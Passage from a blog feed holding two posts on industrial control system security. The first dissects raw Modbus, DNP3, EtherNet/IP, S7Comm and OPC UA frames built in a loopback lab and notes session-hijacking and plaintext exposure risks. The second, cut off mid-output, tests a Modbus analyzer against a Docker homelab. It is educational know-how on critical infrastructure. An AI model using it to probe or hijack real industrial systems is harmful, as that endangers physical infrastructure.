&lt;p&gt;If you read standard OT security textbooks, they give you high-level theoretical overviews. If you look at vendor documentation, they hide everything inside closed-source graphical interfaces.&lt;/p&gt;

&lt;p&gt;I got tired of the abstraction. I wanted to see the raw bytes.&lt;/p&gt;

&lt;p&gt;So, I built a lab environment called &lt;code&gt;raw-industrial-protocols&lt;/code&gt; using nothing but lightweight Python socket twins running over a local Linux loopback interface. No heavy simulators. No proprietary vendor suites. Just standard network sockets injecting raw hex streams directly onto the wire to mimic, capture, and dissect the exact binary handshakes used by the critical infrastructure powering our world.&lt;/p&gt;

&lt;p&gt;This is Layer Zero. And it's the trailer for a massive new standalone series where we will deeply study discovery, exploitation, defensive analysis, and protocol hardening for every major industrial suite.&lt;/p&gt;

&lt;p&gt;Here is what happens when you drop beneath the software layer and look at the raw bytes.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Industrial Wire Protocol Matrix
&lt;/h2&gt;

&lt;p&gt;Before diving into the payloads, we have to look at how these stacks align. Most IT engineers assume industrial traffic is completely alien. In reality, it's just structured payloads riding on top of standard OSI transport models:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Protocol&lt;/th&gt;
&lt;th&gt;Default Port&lt;/th&gt;
&lt;th&gt;Transport Layer&lt;/th&gt;
&lt;th&gt;Framing Envelope&lt;/th&gt;
&lt;th&gt;Baseline Security&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Modbus/TCP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;502&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;MBAP Header (7 Bytes)&lt;/td&gt;
&lt;td&gt;Explicitly None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DNP3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;20000&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;TCP / UDP&lt;/td&gt;
&lt;td&gt;Custom EPA Link/Transport Layer&lt;/td&gt;
&lt;td&gt;Cleartext / Optional Auth&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EtherNet/IP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;44818&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;TCP / UDP&lt;/td&gt;
&lt;td&gt;Encapsulation Header (24 Bytes)&lt;/td&gt;
&lt;td&gt;Cleartext Session Tracking&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;S7Comm&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;102&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;TPKT (RFC 1006) $\rightarrow$ COTP (ISO 8073)&lt;/td&gt;
&lt;td&gt;Cleartext by Design&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OPC UA&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;4840&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;Native Binary Layer&lt;/td&gt;
&lt;td&gt;Configurable (None to Sign/Encrypt)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Phase 1: Modbus/TCP — The Defacto Standard
&lt;/h2&gt;

&lt;p&gt;Modbus/TCP is the grandfather of industrial automation. Engineered in the late 70s for serial links and later wrapped in a TCP envelope, it strips away old serial CRC checksums and introduces a 7-byte &lt;strong&gt;MBAP (Modbus Application Protocol)&lt;/strong&gt; header.&lt;/p&gt;

&lt;p&gt;When a client queries a PLC to read 10 holding registers starting at memory offset 0, it pushes this exact 12-byte payload into the raw TCP stream:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;00 01 00 00 00 06 01 03 00 00 00 0A

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;00 01&lt;/code&gt; (Transaction ID):&lt;/strong&gt; Sequential identifier to pair requests and responses.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;00 00&lt;/code&gt; (Protocol ID):&lt;/strong&gt; Fixed zero-value reserved strictly for Modbus/TCP.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;00 06&lt;/code&gt; (Length):&lt;/strong&gt; A 16-bit integer confirming 6 bytes follow.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;01&lt;/code&gt; (Unit ID):&lt;/strong&gt; Routing drop index to cross hardware gateways.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;03&lt;/code&gt; (Function Code):&lt;/strong&gt; The explicit instruction mapping to &lt;code&gt;Read Holding Registers&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;00 00&lt;/code&gt; (Starting Address):&lt;/strong&gt; Memory offset register zero.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;00 0A&lt;/code&gt; (Quantity):&lt;/strong&gt; Requests exactly 10 contiguous registers.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3c6dqkqp917orab6yjtm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3c6dqkqp917orab6yjtm.png" alt="Modbus TCP Live Packet Capture Verification" width="800" height="427"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 2: DNP3 — The Grid Anchor
&lt;/h2&gt;

&lt;p&gt;The Distributed Network Protocol (DNP3) runs our electrical grids and water systems. Because it was designed to maintain reliable telemetry over unstable radio links, it implements a highly complex, rugged &lt;strong&gt;EPA (Enhanced Performance Architecture)&lt;/strong&gt; stack. This structure maps out an explicit custom Data Link and pseudo-Transport layer directly over standard TCP packets.&lt;/p&gt;

&lt;p&gt;A primary master node checking the basic Link Status of an outstation drops this precise 10-byte structure onto the wire:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;05 64 05 C9 00 00 01 00 4D 50

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;05 64&lt;/code&gt; (Start Bytes):&lt;/strong&gt; Fixed magic hex header marking the start of a valid DNP3 frame.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;05&lt;/code&gt; (Length):&lt;/strong&gt; Identifies that 5 user data bytes follow (excluding the trailing CRC block).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;C9&lt;/code&gt; (Control Byte):&lt;/strong&gt; Bitmask declaring frame parameters; &lt;code&gt;0xC9&lt;/code&gt; triggers a primary link status request.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;00 00&lt;/code&gt; / &lt;code&gt;01 00&lt;/code&gt; (Addresses):&lt;/strong&gt; 16-bit Little-Endian addresses mapping the Destination RTU ($0$) and Source Master ($1$).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;4D 50&lt;/code&gt; (Data Link CRC):&lt;/strong&gt; Crucial algebraic checksum validating the header before processing continues.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu60tdo6ct6s7dcug7hwq.png" alt="DNP3 Live Packet Capture Verification" width="800" height="542"&gt;
&lt;/h2&gt;

&lt;h2&gt;
  
  
  Phase 3: EtherNet/IP &amp;amp; CIP — The Session Hijack Surface
&lt;/h2&gt;

&lt;p&gt;EtherNet/IP takes the &lt;strong&gt;Common Industrial Protocol (CIP)&lt;/strong&gt; and adapts it for modern industrial enterprise routing. To handle communication safely, it uses a fixed 24-byte &lt;strong&gt;Encapsulation Header&lt;/strong&gt; that sits on top of all commands to manage sessions.&lt;/p&gt;

&lt;p&gt;Default implementations pass tracking numbers and session handles in completely unauthenticated cleartext. If you are on-path, you can sniff these registration handles out of the air and hijack the connection entirely.&lt;/p&gt;

&lt;p&gt;Before any industrial tag parsing can occur, the engineering client must run a &lt;strong&gt;Register Session&lt;/strong&gt; routine, sending a 28-byte layout:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;65 00 04 00 00 00 00 00 00 00 00 00 41 41 41 41 41 41 41 41 00 00 00 00 01 00 00 00

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;65 00&lt;/code&gt; (Command ID):&lt;/strong&gt; Maps explicitly to the &lt;code&gt;Register Session&lt;/code&gt; instruction primitive.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;04 00&lt;/code&gt; (Length):&lt;/strong&gt; Indicates 4 trailing data bytes follow the header layout.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;00 00 00 00&lt;/code&gt; (Session Handle):&lt;/strong&gt; Empty tracking block. The physical controller generates this unique token and populates it in the response.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;41 41 41 41 41 41 41 41&lt;/code&gt; (Sender Context):&lt;/strong&gt; Fixed 8-byte diagnostic tracking phrase that the receiving PLC must echo back completely unchanged.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9rkrcgft9gkp4wdm5lfq.png" alt="Ethernet/IP Live Packet Capture Verification" width="799" height="592"&gt;
&lt;/h2&gt;

&lt;h2&gt;
  
  
  Phase 4: S7Comm — Proprietary Transport Nesting
&lt;/h2&gt;

&lt;p&gt;S7Comm is the core protocol powering Siemens S7-300 and S7-400 programmatic lines. It communicates through a nested ISO transport layout to enforce safety boundaries. It doesn't write directly to raw TCP. Instead, it embeds your data inside a &lt;strong&gt;TPKT (RFC 1006)&lt;/strong&gt; frame acting as a packetizer, which then wraps around a &lt;strong&gt;COTP (ISO 8073)&lt;/strong&gt; connection management block.&lt;/p&gt;

&lt;p&gt;The absolute baseline initialization frame requests a &lt;strong&gt;COTP Connection Request (CR)&lt;/strong&gt;. The 22-byte string looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;03 00 00 16 11 E0 00 00 00 01 00 C0 01 0A C1 02 01 00 C2 02 02 00

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;03 00 00 16&lt;/code&gt; (TPKT Header):&lt;/strong&gt; Preloads Version 3 and maps a total upcoming envelope volume of 22 bytes ($0x0016 = 22$).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;11&lt;/code&gt; (COTP Length):&lt;/strong&gt; Confirms 17 parameter description bytes follow.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;E0&lt;/code&gt; (PDU Type):&lt;/strong&gt; Declares this frame as an explicit Connection Request.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;C2 02 02 00&lt;/code&gt; (Destination TSAP):&lt;/strong&gt; The crucial structural target variable mapping the targeted PLC rack and slot placement configuration directly.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyujcfp56d8il17tyy179.png" alt="S7Comm Live Packet Capture Verification" width="800" height="540"&gt;
&lt;/h2&gt;

&lt;h2&gt;
  
  
  Phase 5: OPC UA — The Plaintext Backdoor
&lt;/h2&gt;

&lt;p&gt;OPC UA (Open Platform Communications Unified Architecture) is the modern IT/OT cryptographic bridge. It discards legacy layouts, register boundaries, and old Windows-bound DCOM dependencies to offer an advanced, object-oriented information model. It brings robust security concepts into industrial environments, including X.509 certificate exchanges and strict cryptographic signing algorithms.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;But here is the field reality:&lt;/strong&gt; During commissioning, active troubleshooting, or in older brownfield updates, engineers often configure the security policy parameter profile to &lt;strong&gt;None&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;When this happens, the entire secure object-oriented stream falls back to completely unencrypted plaintext, exposing raw session tokens and node structural definitions to anyone sniffing the wire.&lt;/p&gt;

&lt;p&gt;Before any secure channel configuration occurs, the client fires a native binary &lt;strong&gt;Hello (&lt;code&gt;HEL&lt;/code&gt;)&lt;/strong&gt; string spanning a standard 32-byte layout:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;48 45 4C 46 20 00 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 00 00

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;48 45 4C&lt;/code&gt; (Message Type):&lt;/strong&gt; ASCII text indicators translating to &lt;code&gt;HEL&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;46&lt;/code&gt; (Chunk Type):&lt;/strong&gt; ASCII character &lt;code&gt;F&lt;/code&gt; (Final chunk), signaling a self-contained transmission window.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;20 00 00 00&lt;/code&gt; (Message Size):&lt;/strong&gt; Little-Endian unsigned integer establishing an explicit 32-byte frame layout boundary ($0x20 = 32$).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;00 00 01 00&lt;/code&gt; (Buffer Sizes):&lt;/strong&gt; Standard 32-bit little-endian capacity properties negotiating buffer windows up to $65,536\text{ bytes}$.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq6gu9mra8se37us04iis.png" alt="OPC UA Live Packet Capture Verification" width="800" height="523"&gt;
&lt;/h2&gt;

&lt;h2&gt;
  
  
  The Troubleshooting Hell: The Alignment Check Mismatch
&lt;/h2&gt;

&lt;p&gt;When you hand-craft low-level injection scripts using raw hex strings, you don't get the luxury of automated libraries handling data formatting for you. You hit the real friction points.&lt;/p&gt;

&lt;p&gt;During development, I spent hours staring at &lt;code&gt;tshark&lt;/code&gt; capturing frames completely cleanly, but refusing to render the application-layer dissection tree for OPC UA. It would drop the protocol mapping entirely and fall back to displaying a generic, raw &lt;code&gt;TCP Data&lt;/code&gt; payload block.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Lesson:
&lt;/h3&gt;

&lt;p&gt;Network protocol analysis engines use strict validation rules. In my initial script configuration, I manually declared an internal size field block of 32 bytes (&lt;code&gt;\x20\x00\x00\x00&lt;/code&gt;), but physically only appended 28 bytes of parameters to the raw socket array.&lt;/p&gt;

&lt;p&gt;The engine's protocol parser calculates lengths rigidly. When it detected an alignment mismatch between the stated header length and the actual wire byte count, it flagged the packet as malformed and dropped the deep application tree to preserve data integrity.&lt;/p&gt;

&lt;p&gt;Knowing how to troubleshoot alignment errors down to the physical byte level is a critical skill for deep protocol fuzzing and industrial vulnerability research.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Next?
&lt;/h2&gt;

&lt;p&gt;This laboratory establishes the absolute foundation of our protocol analysis roadmap. Now that we can communicate with these stacks natively at Layer Zero without relying on heavy vendor software wrappers, we can start moving higher up the chain.&lt;/p&gt;

&lt;p&gt;If you want the full step-by-step setup guides, the functional Python server/client twins, and the complete low-level reference manual, the entire project is open-source and ready to clone:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;👉 Get the Code and Lab Manuals: &lt;a href="https://github.com/404saint/raw-industrial-protocols/" rel="noopener noreferrer"&gt;github.com/404saint/raw-industrial-protocols&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In the upcoming installments of this series, we will take each of these five protocols individually and run comprehensive deep dives exploring active network discovery, technical exploitation paths, deep packet defensive monitoring, and production protocol hardening.&lt;/p&gt;

</description>
      <category>ics</category>
      <category>ot</category>
      <category>networking</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Dogfooding MEA Against My Zero-Cost Homelab (And the Troubleshooting Hell Along the Way</title>
      <dc:creator>404Saint</dc:creator>
      <pubDate>Wed, 03 Jun 2026 21:55:16 +0000</pubDate>
      <link>https://dev.to/null_saint/dogfooding-my-own-passive-ics-security-analyzer-against-my-zero-cost-homelab-and-the-12ag</link>
      <guid>https://dev.to/null_saint/dogfooding-my-own-passive-ics-security-analyzer-against-my-zero-cost-homelab-and-the-12ag</guid>
      <description>&lt;p&gt;&lt;em&gt;By RUGERO Tesla (&lt;a href="https://github.com/404saint" rel="noopener noreferrer"&gt;@404Saint&lt;/a&gt;).&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;It’s Wednesday, and if you’re trying to maintain a consistent writing streak, the worst thing that can happen isn't a lack of ideas—it's equipment failure. My mouse died right in the middle of a deep-dive protocol breakdown session. By the time I sorted a replacement, my weekly timeline was completely shot. &lt;/p&gt;

&lt;p&gt;Instead of forcing a massive architectural breakdown against a ticking clock, I decided to do something more chaotic: &lt;strong&gt;dogfood my own open-source security tool.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A while back, I released &lt;strong&gt;MEA (Modbus Exposure Analyzer)&lt;/strong&gt;, a passive behavioral analysis tool designed to fingerprint Modbus devices, calculate register entropy, and determine if an exposed internet facing asset is a real physical PLC or a simulator/honeypot. &lt;/p&gt;

&lt;p&gt;I decided to point MEA directly at my local zero-cost industrial homelab (built inside Docker with OpenPLC and Fuxa HMI) to see if my own code could accurately spot its own creator's simulated environment.&lt;/p&gt;

&lt;p&gt;What followed was a glorious, comedic masterclass in Linux infrastructure debugging, library dependency hell, and the ultimate facepalm moment. Here is exactly what happened.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Setup: Industrial Lab vs. Passive Analyzer
&lt;/h2&gt;

&lt;p&gt;The target environment is simple but effective:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;OpenPLC&lt;/strong&gt; running inside a Docker container, exposing Modbus TCP on port &lt;code&gt;502&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fuxa HMI&lt;/strong&gt; containerized on port &lt;code&gt;1881&lt;/code&gt;, mapping tags to the PLC.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MEA&lt;/strong&gt;, pulling register samples over multiple cycles to evaluate entropy and behavior.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The core thesis of MEA is straightforward: Real industrial processes have physical noise. Temperature drifts, flow meters fluctuate, pressure cycles change. This creates statistical noise and register drift. Simulators and idle devices, however, are statistically flat.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 1: Entering Troubleshooting Hell
&lt;/h2&gt;

&lt;p&gt;Before I could even scan the target, the homelab decided to humble me.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. The Firewalld Zone Collision
&lt;/h3&gt;

&lt;p&gt;I fired up the terminal, checked my docker instances, and was immediately greeted with a socket connection error. The Docker daemon refused to start.&lt;/p&gt;

&lt;p&gt;Running manual daemon debugging (&lt;code&gt;sudo dockerd&lt;/code&gt;) exposed the culprit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;failed to start daemon: Error initializing network controller: error creating default "bridge" network: ZONE_CONFLICT: 'docker0' already bound to 'trusted'

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On Arch/EndeavourOS, &lt;code&gt;firewalld&lt;/code&gt; had aggressively snatched the &lt;code&gt;docker0&lt;/code&gt; interface and dropped it into the &lt;code&gt;trusted&lt;/code&gt; zone, blocking the Docker engine from binding its default bridge network.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Fix:&lt;/strong&gt; Strip it out, reload the firewall, and restart the daemon:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;firewall-cmd &lt;span class="nt"&gt;--permanent&lt;/span&gt; &lt;span class="nt"&gt;--zone&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;trusted &lt;span class="nt"&gt;--remove-interface&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;docker0
&lt;span class="nb"&gt;sudo &lt;/span&gt;firewall-cmd &lt;span class="nt"&gt;--reload&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start docker

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. Pymodbus Dependency Hell
&lt;/h3&gt;

&lt;p&gt;With Docker up, &lt;code&gt;openplc_target&lt;/code&gt; and &lt;code&gt;fuxa_hmi&lt;/code&gt; were finally showing as &lt;code&gt;Up&lt;/code&gt;. I pulled down a fresh clone of MEA, ran &lt;code&gt;python3 mea.py&lt;/code&gt;, entered &lt;code&gt;127.0.0.1&lt;/code&gt;, and... &lt;em&gt;CRASH.&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Connection unexpectedly closed 0.000 seconds into read of unbounded read bytes

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This led down a rabbit hole of modern Python package refactoring. Pymodbus has been aggressively rewriting its API syntax across minor version releases:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In older versions, pointing to a specific Modbus Slave/Unit ID required the argument &lt;code&gt;unit=1&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Then it shifted to &lt;code&gt;slave=1&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;In the latest v3.11+/v4.0 iterations, it shifted yet again to &lt;code&gt;device_id=1&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Furthermore, passing unmapped positional arguments to modern Pymodbus clients causes immediate runtime type errors. The parameters &lt;em&gt;must&lt;/em&gt; be explicitly keyworded. The internal library logic was solid, but it was crashing against local database size configurations.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. The Ultimate Facepalm
&lt;/h3&gt;

&lt;p&gt;After stabilizing the library parameters, the connection was still getting violently dropped (&lt;code&gt;ConnectionResetError: [Errno 104] Connection reset by peer&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;I wrote a quick one-liner to manually fuzz the registers and see why port 502 was slamming the door shut. The code was structurally flawless. Why was the socket dying?&lt;/p&gt;

&lt;p&gt;I opened up the browser, loaded the OpenPLC Web UI at &lt;code&gt;http://127.0.0.1:8080&lt;/code&gt;, and saw it:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The PLC runtime program wasn't even running.&lt;/strong&gt; 💀&lt;/p&gt;

&lt;p&gt;The master listener on port 502 was up because the container was alive, but because the compiled ladder/ST program wasn't active, there was no memory map allocated to handle incoming Modbus Function Code 03 requests.&lt;/p&gt;

&lt;p&gt;I clicked &lt;strong&gt;"Start PLC"&lt;/strong&gt;, flipped back to the terminal, and finally ran the code.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 2: The Telemetry Data
&lt;/h2&gt;

&lt;p&gt;With the runtime program finally processing logic, MEA executed flawlessly across all 5 collection windows, gathering 50 holding registers per sample.&lt;/p&gt;

&lt;p&gt;Here is the exact raw JSON output generated by the scan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"target"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"127.0.0.1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ip_info"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"ip"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"127.0.0.1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"private"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"hostname"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"localhost"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"org"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"exposure"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"exposure_level"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Low"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"reasons"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="s2"&gt;"Private network"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"behavior"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"classification"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Static Device"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"confidence"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"High"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"entropy"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
